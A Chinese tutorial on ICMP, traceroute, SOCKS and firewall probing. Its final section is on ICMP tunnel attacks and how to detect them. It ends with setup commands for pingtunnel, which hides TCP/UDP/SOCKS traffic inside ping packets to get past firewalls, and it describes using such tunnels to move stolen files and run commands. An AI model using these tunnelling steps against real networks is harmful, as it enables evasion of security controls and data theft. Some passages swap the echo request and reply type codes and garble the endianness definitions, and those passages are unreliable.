  • 回送应答(Echo Reply),对应 ICMP 报文首部类型字段的值:0

  • 回送请求(Echo Request),对应 ICMP 报文首部类型字段的值:8

而差错报文就是,用于通知主机出错的原因。显然,ICMP 差错报告报文是伴随着出错数据产生的。一旦 IP 协议发现某个 IP 数据报出错了,首先就会毅然地丢弃出错的这个 IP 数据报,然后发送 ICMP 差错报文

常见的 ICMP 差错报文类型有以下几种:

  • 目标不可达(Destination Unreachable),对应 ICMP 报文首部类型字段的值:3

  • 原点抑制(Source Quench),对应 ICMP 报文首部类型字段的值:4

  • 重定向或改变路由(Redirect),对应 ICMP 报文首部类型字段的值:5

  • 超时(Time Exceeded),对应 ICMP 报文首部类型字段的值:11

最常见的ICMP消息表:

ICMP消息类型用途说明
回显请求Ping 命令通过发送ICMP回显消息检查特定节点的IPv4连接以排查网络问题【类型值为0】
回显应答节点发送回显答复消息响应ICMP回显消息【类型值为8】
重定向路由器发送“重定向”消息,告诉发送主机到目标IPv4地址更好的路由【类型值为5】
源抑制路由器发送“源结束”消息,告诉发送主机它们的IPv4数据报将被丢弃。因为路由器上发生了拥塞。于是,发送主机将以较低的频度发送数据报【类型值为4】
超时两种用途。第一,当超过IP生存期时向发送系统发出错误信息。第二,如果分段的IP数据报没有在某种期限内重新组合,这个消息将通知发送系统【类型值为11】
无法到达目标路由器和目标主机发送“无法到达目标”消息,通知发送主机它们的数据无法传送【类型值为3】

6.1.4 ICMP常见类型

常用的协议号:

  • ICMP:1

  • IGMP:2

  • TCP:6

  • UDP:17

  • IGRP:88

  • OSPF:89

6.1.4.1 ICMP 类型 3 (目标不可达)

IP是一个尽力而为的交付机制,不会轻易丢弃数据报。当路由设备无法转发或者交付IP数据报时,会向源站发送一个目的站不可达的报文,然后丢弃该数据报文。因为由于路由设备的MTU太小而需要分片,然而IP报文DF标志位不允许,造成无法转发,此时路由会丢弃报文并同时向源主机发送一条ICMP目的不可达消息

如果用户发送的请求,路由器无法将 IP 数据报发送给目标地址时,会给发送端主机返回一个目标不可达(Destination Unreachable Message) 的 ICMP 消息,并且会在消息中显示不可达的具体原因,如下:

实际通信过程中会显示各种各样的不可达信息,比如错误代码时 1 表示主机不可达,它指的是路由表中没有主机的信息,或者主机没有连接到网络的意思。一些 ICMP 不可达信息的具体原因如下

ICMP类型3的代码(错误号)描述ICMP 目标不可达(Destination Unreachable)消息
0网络不可达(net unreachable)
1主机不可达(host unreachable)
2协议不可达(protocol unreachable)
3端口不可达(port unreachable)
4需要进行分片但设置了不分片比特(fragmentation needed and DF set)
5源站选路失败(source route failed)
6目的网络不认识(Destination network unknown)
7目的主机不认识(Destination host unknown)
8源主机被隔离(作废不用) (Source host isolated (obsolete))
9目的网络被强制禁止(Destination network administratively prohibited)
10目的主机被强制禁止(Destination host administratively prohibited)
11由于服务类型TOS,网络不可达(Network unreachable for Type Of Service)
12由于服务类型TOS,主机不可达(Host unreachable for Type Of Service)
13由于过滤,通信被强制禁止
14主机越权
15优先权中止生效

6.1.4.2 ICMP 类型 5 (重定向消息)

ICMP 类型 5 (重定向消息)是ICMP控制报文中的一种。在特定的情况下,当路由器检测到一台主机或网络设备使用非优化路由的时候,它会向该主机或网络设备发送一个ICMP重定向报文,请求主机或网络设备改变路由。路由器也会把初始数据报向它的目的地转发

如果路由器发现发送端主机使用了次优的路径发送数据,那么它会返回一个 ICMP 重定向(ICMP Redirect Message) 的消息给这个主机。这个 ICMP 重定向消息包含了最合适的路由信息和源数据。这种情况会发生在路由器持有更好的路由信息的情况下。路由器会通过这样的 ICMP 消息给发送端主机一个更合适的发送路由

主机 Host 的 IP 地址为 10.0.0.100。主机的路由表中有一个默认路由条目,指向路由器 G1 的 IP 地址 10.0.0.1 作为默认网关。路由器 G1 在将数据包转发到目的网络 X 时,会使用路由器 G2 的 IP 地址 10.0.0.2 作为下一跳

当主机向目的网络 X 发送数据包时,会发生如下情况:

  • IP 地址为 10.0.0.1 的网关 G1 在其所连接的网络上接收来自 10.0.0.100 的数据包

  • 网关 G1 检查其路由表,并在通往数据包目的网络 X 的路由中获取下一个网关 G2 的 IP 地址 10.0.0.2

  • 如果 G2 和 IP 数据包的源地址标识的主机位于同一网络中(也就是 Host 主机),那么 G1 会向主机发送 ICMP 重定向消息。ICMP 重定向消息建议主机直接将发送到网络 X 的数据包发送至 G2,因为 Host -->G2 这是通往目的地的较短路径

  • 网关 G1 将原始数据包转发到其目的地

如果根据主机的配置,Host 主机也可以选择忽略 G1 给它发送的 ICMP 重定向消息。但是,这样就享受不到 ICMP 重定向带来的两大好处,即:

  • 优化数据在网络中的转发路径;流量更快到达目的地

  • 降低网络资源利用率,例如带宽和路由器 CPU 负载

如果 Host 主机采用了 ICMP 提供的重定向路径的话,那么 Host 就会直接把数据包发送至网络 X,如下图所示

在上图中,主机为 G2 作为下一跳的网络 X 创建路由缓存条目后,优势如下:

  • 交换机和路由器 G1 之间链路的带宽利用率在两个方向上都会降低

  • 由于从主机到网络 X 的流量不再流经此节点,因此路由器 G1 的 CPU 使用率降低

  • 主机和网络 X 之间的端到端网络延迟得到改善

6.1.4.3 ICMP 类型 11 (超时消息)

IP 数据包中有一个叫做 TTL(Time To Live,生存周期) ,它的值在每经过路由器一跳之后都会减 1,IP 数据包减为 0 时会被丢弃。此时,IP 路由器会发送一个 ICMP 超时消息 (ICMP TIme Exceeded Message,错误号 0) 发送给主机,通知该包已经被丢弃

通俗点来讲就是当收到TTL为0的报文时,网络设备/主机会丢弃该报文,并返回一个ICMP超时报文

设置生存周期的主要目的就是为了防止路由器控制遇到问题发生循环状况时,避免 IP 包无休止的在网络上转发,如下:

6.1.4.4 ICMP 类型 0 和 类型 8 (回送消息)

ICMP类型0和8(),用于进行通信的主机或路由器之间,判断所发送的数据包是否已经成功到达对端的一种消息(比如ping 命令就是利用这个实现的)。可以向对端主机发送 ICMP 回送请求的消息(ICMP Echo Request Message,类型 8),也可以接收对端主机发回来的 ICMP 回送应答消息(ICMP Echo Reply Message,类型 0),如下图:

ping 应用就是基于 ICMP 回送消息实现:

  • ping 这个单词源自声纳定位,而这个命令的作用也确实如此,它利用ICMP协议包来侦测另一个主机是否可达,发送类型为 0 的 ICMP Echo Request 消息,收到请求的主机则用类型为 8 的 ICMP Echo Reply 消息进行回应

  • 请求主机回应后,ping 就会计算发送 Requenst 和接收到 Reply 的消息间隔时间,并计算有多少个包被送达,丢失了多少个包等,此时就可以根据丢失包的严重性来判断网络大致的情况

【例1】ping一下百度试试:ping -c 6 baidu.com

从下图可以看到,ping 结束后,给出了传送的时间和TTL的数据。上面因为ping 百度时走的路由少,没有丢包,延时也很低,有兴趣地可以ping一下国外的网站比如sf.net(如下图),可以观察到一些丢包的现象,而程序运行的时间也会更加的长


Wireshark 抓包:

  • 客户端A发送一个TCP请求

  • 接着向对服务端B发送回送请求的消息(ICMP Echo Request Message,类型 8),其ICMP Type=8,Code=0,同时携带报文标识Identifier(BE)=2,Identifier(LE)=512

    • identifier参数:在linux的实现为进程PID(因为ping请求是应用程序,通过该值能够确认是机器上的哪一个应用程序执行的ping操作,能够对进行的接收数据进行匹配操作)

    • sequence参数:是一个计数器,主要是为每一个回显请求数据包设置序列值

大端(Big-Endian):低字节放在高位,高字节放在低位
小端(Little-Endian):低字节放在低位,低字节放在高位

  • 最后,服务端B对客户端A主机发送回送消息(ICMP Echo Reply Message, 类型 0 ),其ICMP Type=0,Code=0,同时携带报文标识Identifier(BE)=2,Identifier(LE)=512

6.1.4.5 ICMP 类型 4 (原点抑制消息)

ICMP 类型 4 (原点抑制消息)是为了应对在使用低速率网络的情况下,网络通信可能会遇到网络拥堵的一种响应机制。比如当路由器向低速线路发送数据时,其发送队列的残存数据报变为 0 从而无法发送时,可以向 IP 数据报的源地址发送一个 ICMP 原点抑制(ICMP Source Quench Message) 消息,收到这个消息的主机了解到线路某处发生了拥堵,从而抑制 IP 数据报的发送

:ICMP 类型 4 (原点抑制消息) 可能会引起一些不公平的网络通信,一般不建议被使用

6.1.4.6 ICMP 类型 9 和 类型 10 (路由器探索消息)

ICMP 路由器探索消息主要用于路由器发现(Router Discovery, RD),它主要分为两种,路由器请求(Router Solicitation,类型 10) 和路由器响应(Router Advertisement,类型 9)。主机会在任意路由连接组播的网络上发送一个 RS 消息,想要选择一个路由器进行学习,以此来作为默认路由,而相对应的该路由会发送一个 RA 消息来作为默认路由的响应

6.1.4.7 ICMP 类型 17 和 类型 18 (地址掩码消息)

主要用于主机或者路由器想要了解子网掩码的情况。可以向那些目标主机或路由器发送 ICMP 地址掩码请求消息(ICMP Address Mask Request,类型 17) 和 ICMP 地址掩码应答消息(ICMP Address Mask Reply,类型 18) 获取子网掩码信息

6.1.4.8 Traceroute 命令

额外在介绍一看工具:Traceroute

ping请求数据报在每经过一个路由器的时候,路由器都会把自己的ip放到该数据报中。而目的主机则会把这个IP列表复制到回应ICMP数据包中发回给主机。导致,IP头所能纪录的路由列表是非常的有限。如果要观察路由,就要使用Traceroute(Windows下面的名字叫做tracert)

Traceroute是用来侦测主机到目的主机之间所经路由情况的重要工具,也是最便利的工具。由VanJacobson编写的Traceroute程序是一个能更深入探索TCP/IP协议的方便可用的工具。尽管不能保证从源端发往目的端的两份连续的IP数据报具有相同的路由,但是大多数情况下是这样的。Traceroute程序可以让用户看到IP数据报从一台主机传到另一台主机所经过的路由。Traceroute程序还可以让用户使用IP源路由选项。ping 命令的不足,是因为IP头的限制,ping不能完全的记录下所经过的路由器,在Traceroute 命令这里完美的解决了这个IP头限制的问题

:ICMP 差错报文不是只有在通信异常的时候才会生成,traceroute 命令就会使用 ICMP 的规则,故意制造一些能够产生异常的场景

Traceroute 主要作用:

  • 故意设置特殊的 TTL,来追踪去往目的主机上沿途经过的路由器

    • traceroute 是基于 UDP 传输的,那自然是需要指定一个端口号的,traceroute 会选择一个不可能的值作为 UDP 的端口号。当数据到达目的主机时,就会发现端口对不上,于是路由器会产生一份 ICMP 目标不可达消息,其代码是 3,即端口不可达。当发送端主机接收这份端口不可达的 ICMP 报文时,就知道目的主机成功收到了数据

    • 发送端主机会不断的向接收端主机发送 UDP 报文,UDP 报文被封装成 IP 数据报,同时将 TTL 从 1 开始按照顺序递增。

    • 比如说,将 TTL 设置 为 1,那么遇到第一个路由器的时候,这个 IP 数据报就会被丢弃,接着返回 ICMP 差错报文,类型是 ICMP 超时消息

    • 接下来将 TTL 设置为 2,第一个路由器过了,遇到第二个路由器时这个 IP 数据报就会被丢弃,接着返回ICMP 差错报文

    • 如何知道数据到底有没有到达目的主机呢?

  • 故意设置不分片,从而确定路径的最大传输单元 MTU

    • 某些情况下,可能并不知道路径的 MTU 大小,所以需要某种手段去获取 MTU,才能控制发送的数据包的大小。

    • 发送端主机要做的就是像往常一样发送 IP 数据报文。但是将 IP 首部的分片禁止标志位置为 1,如果 IP 数据报的长度超过了 MTU,该数据报会被路由器直接丢弃,并且给发送端主机发送 ICMP 目标不可达消息,其代码为 4,即需要进行分片但设置了不分片位。最后发送端主机每次收到 ICMP 需要进行分片但设置了不分片位消息时就减小 IP 数据报的长度,直到顺利到达目标主机

Traceroute 原理:比如,客户端收到目的主机的IP后,首先给目的主机发送一个TTL=1的UDP数据包,而经过的第一个路由器收到这个数据包以后,就自动把TTL减1,而TTL变为0以后,路由器就把这个包给抛弃了,并同时产生一个主机不可达的ICMP数据报给主机。主机收到这个数据报以后再发一个TTL=2的UDP数据报给目的主机,然后刺激第二个路由器给主机发ICMP数据报。如此,一遍又一遍的发送包直到到达目的主机。这样,traceroute就拿到了所有的路由器IP。完美避开了IP头只能记录有限路由IP的问题

比如两层路由环境:

此时在Windows PC上执行如下命令:

# Windowstracert 192.168.2.1# Linuxtraceroute 192.168.2.1

接着,Windows PC首先发送了TTL为1的ICMP数据包,如下:

traceroute baid.com为例,客户端输入 traceroute 命令+ip时, 客户端就发起一个ICMP回显请求报文,第一个数据包,TTL=1,这样第一跳路由器收到后,要转发出去时,会将TTL减一,即TTL=0, 就丢弃,然后第一跳路由器就返回一个ICMP超时的错误信息,客户端收到后,会判断是否收到ICMP 回显应答 报文?如果还没收到,就会继续发送 回显请求报文,TTL加1进行尝试,当到底服务器后,服务器就会发送 ICMP 回显应答报文

  • 假如,客户端发送第一个TTL=1的ICMP 回显请求报文,第1跳路由器收到后,查看目的地址进行转发,转发前会将TTL会减1,减完后TTL=0,就丢弃该数据包,并向客户端返回TTL超时的ICMP报文。

    • 客户端收到,TTL超时ICMP报文,从报文里面的源地址,得到第1跳地址:192.168.0.1

  • 接着,客户端发现还没收到 回显应答 的ICMP报文,于是继续尝试发送,TTL进行加1。第1跳路由器收到后,根据目的地址进行转发,转发出去时,TTL减1,减完后TTL=1。第2跳路由器收到后,查看目的地址进行转发,转发前会将TTL会减1,减完后TTL=0,就丢弃该数据包,并向客户端返回TTL超时的ICMP报文。

    • 客户端收到,TTL超时ICMP报文,从报文里面的源地址,得到第2跳地址:192.168.2.1

  • 最后,客户端仍然还没收到回显应答的ICMP报文,于是继续尝试发送,TTL进行加1。第1跳路由器收到后,根据目的地址进行转发,转发出去时,TTL减1,减完后TTL=2。第2跳路由器收到后,查看目的地址进行转发,转发前会将TTL会减1,减完后TTL=1, TTL不是0,路由器就继续转发。数据包终于到达服务器啦,现在服务器会查看目的地址,就是找我的,于是继续解封装,查看IP数据部分(ICMP),发现是回显请求的ICMP报文,于是向客户端发送一个 回显应答的ICMP报文

    • 客户端收到,回显应答的ICMP报文,确认UDP数据包已成功到达服务器了,traceroute结束,并记录源IP地址:baidu.com IP 地址

下图红框中的星号是因为有的路由器压根不会回这个ICMP。这也是使用Traceroute测试一个公网的地址,看不到中间路由的原因

6.1.5 SOCKS 代理

SOCKS是"SOCKetS"的缩写

  • SOCKS4只支持TCP协议

  • SOCKS5不仅支持TCP/UDP协议,还支持各种身份验证机制

SOCKS代理更底层,是在会话层;而HTTP代理是在应用层。因此SOCKS代理可以代理一切客户端的连接,而HTTP代理只能代理使用HTTP协议的客户端。由于更底层,不需要处理高级协议的细节,所以SOCKS代理更快

SOCKET被称作"套接字",用于描述IP地址和端口,是一个通信链的句柄,可以用来实现不同计算机之间的通信,它的本质是编程接口(API),是对TCP/IP的封装。SOCKS是一个代理协议,目前最新版本为SOCKS5,所谓代理就是可以通过它的去间接的访问网络,相当于一个中转站。区别:SOCKET是一个API,一个工具,让你建立网络连接用的。SOCKS是协议,是一组数据结构

目前VPN隧道协议主要有4种:点到点隧道协议PPTP、第二层隧道协议L2TP、网络层隧道协议IPSec以及SOCKS v5协议。其中,PPTP和L2TP工作在数据链路层,IPSec工作在网络层,SOCKS v5工作在会话层

一些支持SOCKS代理的工具:EarthWorm(ew、新版本Termite)、reGeorg、sSocks、SocksCap64(SSTap)、Proxifier、ProxyChains

6.1.6 ICMPv6

IPv4 中 ICMP 仅仅作为一个辅助作用支持 IPv4。也就是说,在 IPv4 时期,即使没有 ICMP,也能进行正常的 IP 数据包的发送和接收,也就是 IP 通信。但是在 IPv6 中,ICMP 的作用被放大了,如果没有 ICMP,则不能进行正常的 IP 通信

:IPv6隧道可以将IPv4作为隧道载体,将IPv6报文整体封装在IPv4数据报文中

  • socat:https://github.com/3ndG4me/socat

  • 6tunnel:https://github.com/wojtekka/6tunnel

  • nt6tunnel:https://www.sixxs.net/archive/tools

尤其在 IPv6 中,从 IP 定位 MAC 地址的协议从 ARP 转为 ICMP 的邻居探索消息(Neighbor Discovery) 。这种邻居探索消息融合了 IPv4 的 ARP、ICMP 重定向以及 ICMP 的路由选择等功能于一体。甚至还提供了自动设置 IP 的功能

在 IPv6 中,ICMP 消息主要分为两类:一类是错误消息,一类是信息消息。0 - 127属于错误消息;128 - 255属于信息消息

ICMP 是承载在 IP 内部的,IPv6 封装位置如下:

RFC 2463中描述了以下消息类型:

类型描述
1目标不可达 (Destination Unreachable)
2数据包太大 (Packet Too Big)
3超时 (Time Exceeded)
4参数问题 (Parameter Problem)
128回送请求消息 (Echo Request)
129回送应答消息 (Echo Reply)
130多播监听查询 (Multicast Listener Query)
131多播监听报告 (Multicast Listener Report)
132多播监听结束 (Multicast Listener Done)
133路由器请求消息(Router Solicitation)
134路由器公告消息 (Router Advertisement)
135邻居请求消息 (Neighbor Solicitation)
136邻居宣告消息 (Neighbor Advertisement)
137重定向消息 (Redirect Message)
138路由器重编号 (Router Renumbering)
139信息查询 (ICMP Node Information Query)
140信息应答(ICMP Node Information Response)
141反邻居探索请求消息 (Inverse Neighbor Discovery Solicitation)
142反邻居探索宣告消息 (Inverse Neighbor Discovery Advertisement)

ICMPv6 除了包含 ICMPv4 的所有功能外,包括ICMPv6 邻居探索和ICMPv6 的组播收听发现协议

6.1.6.1 ICMPv6 邻居探索

邻居探索是 ICMPv6 非常重要的功能,主要表示的类型是 133 - 137之间的消息叫做邻居探索消息。这种邻居探索消息对于 IPv6 通信起到举足轻重的作用。邻居请求消息用于查询 IPv6 地址于 MAC 地址的对应关系。邻居请求消息利用 IPv6 的多播地址实现传输

由于 IPv6 实现了即插即用的功能,所以在没有 DHCP 服务器的环境下也能实现 IP 地址的自动获取。如果是一个没有路由器的网络,就使用 MAC 地址作为链路本地单播地址。如果在一个有路由器的网络环境中,可以从路由器获得 IPv6 地址的前面部分,后面部分使用 MAC 地址进行设置。此时可以利用路由器请求消息和路由器公告消息进行设置

1)ICMPv6 的组播收听发现协议

组播收听发现协议(MLD,Multicast Listener Discovery)由子网内的组播成员管理。MLD 协议定义了3条ICMPv6 消息:

  • 组播收听查询消息:组播路由器向子网内的组播收听者发送此消息,以获取组播收听者的状态

  • 组播收听者报告消息:组播收听者向组播路由器汇报当前状态,包括离开某个组播组

  • 组播收听者

6.2 探测是否启用防火墙

Ping命令就是利用ICMP协议走的,ICMP扫描技术主要是利用ICMP协议最基本的用途:报错。根据网络协议,如果按照协议出现了错误,那么接收端将产生一个ICMP的错误报文。这些错误报文并不是主动发送的,而是由于错误,根据协议自动产生

当IP数据报出现checksum和版本的错误的时候,目标主机将抛弃这个数据报,如果是checksum出现错误,那么路由器就直接丢弃这个数据报了。有些主机比如AIX、HP-UX等,是不会发送ICMP的Unreachable数据报的

利用下面这些特性:

  • 向目标主机发送一个只有IP头的IP数据包,目标将返回Destination Unreachable的ICMP错误报文

  • 向目标主机发送一个坏IP数据报。比如,不正确的IP头长度,目标主机将返回Parameter Problem的ICMP错误报文【向操作系统不存在的端口发送tcp syn包时,会收到操作系统的rst包】

  • 当数据包分片但是,却没有给接收端足够的分片,接收端分片组装超时会发送分片组装超时的ICMP数据报

  • ping通,curl 80可访问,nmap扫描后,ping和curl都无法访问。过一段时间后:又可以ping通,curl 80也可访问,说明防火墙有黑名单机制

  • 判断防火墙是否有"握手时rst"、首包丢弃等行为,比如连接时提供的tcp服务的端口并抓包,查看是否有rst,首包丢弃等行为

tcpdump -i eth0 'host  x.x.x.x'...# 八个包:前三个握手、后四个挥手、中间一个包传tcp数据。由此可得出,不是rst方式的防火墙,也不是首包丢弃的防火墙18:15:53.547200 IP instance-fj5pftdp.51400 > x.x.x.x.http: Flags [S], seq 468920486, win 27200, options [mss 1360,sackOK,TS val 2405982013 ecr 0,nop,wscale 7], length 018:15:53.579860 IP x.x.x.x.http > instance-fj5pftdp.51400: Flags [S.], seq 3601120884, ack 468920487, win 14480, options [mss 1460,sackOK,TS val 556123394 ecr 2405982013,nop,wscale 7], length 018:15:53.579943 IP instance-fj5pftdp.51400 > x.x.x.x.http: Flags [.], ack 1, win 213, options [nop,nop,TS val 2405982046 ecr 556123394], length 018:15:53.580084 IP instance-fj5pftdp.51400 > x.x.x.x.http: Flags [P.], seq 1:2, ack 1, win 213, options [nop,nop,TS val 2405982046 ecr 556123394], length 1: HTTP18:15:53.580097 IP instance-fj5pftdp.51400 > x.x.x.x.http: Flags [F.], seq 2, ack 1, win 213, options [nop,nop,TS val 2405982046 ecr 556123394], length 018:15:53.611613 IP x.x.x.x.http > instance-fj5pftdp.51400: Flags [.], ack 2, win 114, options [nop,nop,TS val 556123427 ecr 2405982046], length 018:15:53.611895 IP x.x.x.x.http > instance-fj5pftdp.51400: Flags [F.], seq 1, ack 3, win 114, options [nop,nop,TS val 556123427 ecr 2405982046], length 018:15:53.611924 IP instance-fj5pftdp.51400 > x.x.x.x.http: Flags [.], ack 2, win 213, options [nop,nop,TS val 2405982078 ecr 556123427], length 0
  • 判断防火墙是否syn-ack代理,在未被拉黑时,向x.x.x.x不存在tcp服务的端口发送syn包,如果能收到syn-ack,就说明防火墙做了syn-ack代理

  • 被服务器拉黑后,客户端发出去的syn包、ack包得不到任何响应,但udp包可以正常通过(traceroute可以收到icmp回包)

为什么会被防火墙拉黑?

  • 主流:频率超过一定限制即拉黑

  • 非主流:扫到"陷阱端口"后即拉黑

    • "陷阱端口"这种方式比较复杂、比较非主流,可能会和业务端口冲突,所以部署在机房中的硬件防火墙不太可能基于"陷阱端口"检测

向目标主机发送一个IP数据报,但是协议项是错误的,比如协议项不可用,那么目标将返回Destination Unreachable的ICMP报文,但是如果是在目标主机前有一个防火墙或者一个其他的过滤装置,可能过滤掉提出的要求,从而接收不到任何回应

两种方法,判断设备是否存在防火墙:

  • 通过目标返回的ICMP错误报文(Destination Unreachable),来判断是否存在防火墙或者其它安全设备有拦截

  • 利用IP分片造成组装超时ICMP错误消息,当主机接收到丢失分片的数据报,并且在一定时间内没有接收到丢失的数据报,就会丢弃整个包,并且发送ICMP分片组装超时错误给原发送端

    • 利用这个特性制造分片的数据包,然后等待ICMP组装超时错误消息。可以对UDP分片,也可以对TCP甚至ICMP数据包进行分片,只要不让目标主机获得完整的数据包。对于UDP这种非连接的不可靠协议来说,如果我们没有接收到超时错误的ICMP返回报,也有可能时由于线路或者其他问题在传输过程中丢失

如果不能从目标得到Unreachable报文或者分片组装超时错误报文,该怎么办?可以做以下排查:

  • 防火墙过滤了哪些发送的协议类型

  • 防火墙过滤了哪些指定的端口

  • 防火墙阻塞ICMP的Destination Unreachable或者Protocol Unreachable错误消息

  • 防火墙对哪些指定的主机进行了ICMP错误报文的阻塞

6.3 ICMP隧道攻击实例分析

为了逃避监测,绕过杀软、防火墙,更好的隐藏自身,许多黑客都会使用隧道技术来尝试绕过手软或防火墙,在检测ICMP隧道攻击的时候,载荷分析和流量监测两种常规的检测方法不太实用于高隐蔽性新型隧道攻击检测,靠提取攻击工具特征中,将样本特征添加到设备作为监测对象效率依旧不高,可结合协议本身,基于通信行为检测隧道木马,,采用 Winpcap 数据包捕获技术的底层过滤机制,抓取 DNS 流量.将抓取的 DNS 流量按照五元组进行聚类,形成 DNS 会话数据流.将一个个 DNS 会话数据流提取成 DNS 会话评估向量,作为分类训练模块和木马流量监测的输入,比如DNS隧道木马检测流程框架如下:

  • 隧道技术(Tunneling):是一种通过使用互联网络的基础设施在网络之间传递数据的方式,使用隧道传递的Data(数据)或 Payload (负载)可以是不同协议的数据帧或包。隧道协议将其它协议的数据帧或包,重新封装然后通过隧道发送,新的帧头,提供路由信息,以便通过互联网传递被封装的 Payload

    • 现状:传统socket隧道已极少,TCP、UDP 大量被防御系统拦截,DNS、ICMP、http/https等难于禁止的协议已成为黑客控制隧道的主流

  • 数据传输特点(Feature):不通过网络直接发送数据包,通过封装技术在另一个(通常是加密的)连接中发送数据

ICMP协议是必不可少的网络通信协议之一,被用于检测网络连通状态,通常情况下,防火墙会默认放行此协议。由于防火墙对ICMP协议开放,恶意攻击者常会利用ICMP协议进行非法通信。例如,在黑客攻击中经常出现一种情况是,黑客通过某一种方式取得了设备的权限后,得到了一些文件,比如证书、敏感文件、系统或应用APK包等之类的东西,需要回传至本地进行破解,但是防火墙阻断了由内网发起的请求,只有ICMP协议没有被阻断,而攻击者又需要回传文件。此时,如果攻击者可以ping通远程计算机,就可以尝试建立ICMP隧道,ICMP隧道是将流量封装进 ping 数据包中,利用 ping数据走的ICMP协议来穿透防火墙的检测。现市面上已有很多类似ICMP穿透防火墙的利用工具,比如 icmptunnel、ptunnel、icmpsh等

如何检测这种隧道?用传统的签名无法对抗负载加密,复杂的流量统计比对让检测引擎不堪重负,误报率也较高,而基于ICMP常规的通讯数据和攻击时产生的畸形数据,利用信息熵来分析

  • 再介绍一下ICMP是啥吧,细的内容请返回文章开头再看

ICMP(Internet Control Message Protocol)因特网控制报文协议,它位于网络层,是IP层的一个组成部分,主要用来传递差错报文以及其他需要注意的信息(用于IP 协议中发送控制消息,也就是说,ICMP 是依靠 IP 协议来完成信息发送的,是TCP/IP协议族的子协议,是一种面向无连接的协议

6.3.1 Ping特征拆分

1)Windows ping baidu.com,Wireshark抓包分析Ping 后的ICMP数据包

过滤下数据包,一次查看dada的十六进制,可以发现Windows下默认的ICMP的前置头信息为:abcdefghijklmnopqrstuvwabcdefghi,共32bytes,16进制为:6162636465666768696a6b6c6d6e6f7071727374757677616263646566676869,如下图

2)Linux ping baidu.com,Wireshark抓包分析Ping 后的ICMP数据包

过滤下数据包,一次查看dada的十六进制,可以发现Linux (Mac跟Linux 的是一样的)下,去掉开头可变的8bytes后,默认的ICMP的前置头信息为:!"#$%&'()+,-./01234567,共48bytes,16进制为:101112131415161718191a1b1c1d1e1f202122232425262728292a2b2c2d2e2f3031323334353637,如下图

3)ping 包的大小,是可以修改的。以Windows为例,ping baidu.com -l 110,修改为110bytes

ICMP的前置头信息为:abcdefghijklmnopqrstuvwabcdefghijklmnopgrstuvw,包的内容是一样的,只是不断重复而已,如下图

:对自定义长度的ping,不管是Linux还是Windows,去掉开头可变的8bytes,取data数据中的十六进制即可

4)AC自动机算法,来对字符串匹配方法进行特征匹配,每4位切分成特征数组,生成的特征数组进行匹配,匹配度算法:匹配度 = 匹配到的特征的个数*4 / payload的长度。比如:
Linux:

"1011","1213","1415","1617","1819","1a1b","1c1d","1e1f","2021","2223","2425","2627","2829","2a2b","2c2d","2e2f","3031","3233","3435","3637"

Windows:

"6162","6364","6566","6768","696a","6b6c","6d6e","6f70","7172","7374","7576","7761","6263","6465","6667","6869"

:对于正常的ping数据产生的data,计算得到的匹配度结果都在0.9以上,ICMP隧道产生的自定义data的数据包通常匹配度很低,可根据匹配度来区分是否是正常操作系统产生的数据包

5)更改ICMP中data默认的前置信息,来建立ICMP隐蔽隧道

通常ICMP隧道技术采用ICMP的ICMP_ECHO和ICMP_ECHOREPLY两种报文,把数据隐藏在ICMP数据包包头的选项域中,利用Ping命令建立隐蔽通道。通过改变操作系统默认填充的data,替换成攻击者自己的数据,利用ICMP的请求和应答数据包,伪造Ping命令的数据包形式,实现绕过防火墙和入侵检测系统的阻拦。对于ICMP隧道产生的自定义data数据包,转换为16进制后内容是乱序没有规律的,比如构造一个内容为

进行隐蔽传输的时候,肉鸡(防火墙内部)运行并接受外部攻击端的ICMP_ECHO数据包,攻击端把需要执行的命令隐藏在ICMP_ECHO数据包中,肉鸡接收到该数据包,解出其中隐藏的命令,并在防火墙内部主机上执行,再把执行结果隐藏在ICMP_ECHOREPLY数据包中,发送给外部攻击端

优缺点:

  • 优点:防火墙对ICMP_ECHO数据包是放行的,并且内部主机不会检查ICMP数据包所携带的数据内容,隐蔽性高

  • 缺点:

    • ICMP隐蔽传输是无连接的,传输不是很稳定,而且隐蔽通道的带宽很低

    • 利用隧道传输时,需要接触更低层次的协议 ,需要高级用户权限

6.3.2 ICMP隧道常见利用工具

  • pingtunnel

持续更新,TCP、UDP、socks5 over ICMP,速度快,连接稳定,跨平台,支持大多数具有libpcap的操作系统,从版本0.7开始,ptunnel也可以在装WinPcap的Windows上编译,client模式不需要管理员权限即可正常使用,推荐使用

下载地址:https://github.com/esrrhs/pingtunnel

服务端(无法ping通另一台)

# 安装最新版
sudo wget (最新release的下载链接)sudo unzip pingtunnel_linux64.zip

# 禁用ICMP echo回复,防止内核自己对ping包进行响应<可选>echo 1 >/proc/sys/net/ipv4/icmp_echo_ignore_all

# 建立隧道
sudo ./pingtunnel -type server

客户端(可以ping通另一台),准备好一个具有公网 IP的服务器,假定域名或者公网 ip 是orangey.info

sudo wget (最新release的下载链接)sudo unzip pingtunnel_linux64.zip

# 转发TCP
pingtunnel.exe -type client -l :4455 -s www.yourserver.com -t www.yourserver.com:4455 -tcp 1

命令参数介绍:

./pingtunnel

通过伪造ping,把tcp/udp/sock5流量通过远程服务器转发到目的服务器上。用于突破某些运营商封锁TCP/UDP流量。
By forging ping, the tcp/udp/sock5 traffic is forwarded to the destination server through the remote server. Used to break certain operators to block TCP/UDP traffic.Usage:

// server
pingtunnel -type server // client, Forward udp
pingtunnel -type client -l LOCAL_IP:4455 -s SERVER_IP -t SERVER_IP:4455

// client, Forward tcp
pingtunnel -type client -l LOCAL_IP:4455 -s SERVER_IP -t SERVER_IP:4455 -tcp 1

// client, Forward sock5, implicitly open tcp, so no target server is needed
pingtunnel -type client -l LOCAL_IP:4455 -s SERVER_IP -sock5 1

-type 服务器或者客户端
client or server

服务器参数server param:

-key 设置的密码,默认0
Set password, default 0

-nolog 不写日志文件,只打印标准输出,默认0
Do not write log files, only print standard output, default 0 is off -noprint 不打印屏幕输出,默认0
Do not print standard output, default 0 is off -loglevel 日志文件等级,默认info
log level, default is info -maxconn 最大连接数,默认0,不受限制
the max num of connections, default 0 is no limit -maxprt server最大处理线程数,默认100
max process thread in server, default 100

-maxprb server最大处理线程buffer数,默认1000
max process thread's buffer in server, default 1000

-conntt server发起连接到目标地址的超时时间,默认1000ms
The timeout period for the server to initiate a connection to the destination address. The default is 1000ms.客户端参数client param:

-l 本地的地址,发到这个端口的流量将转发到服务器
Local address, traffic sent to this port will be forwarded to the server -s 服务器的地址,流量将通过隧道转发到这个服务器
The address of the server, the traffic will be forwarded to this server through the tunnel -t 远端服务器转发的目的地址,流量将转发到这个地址
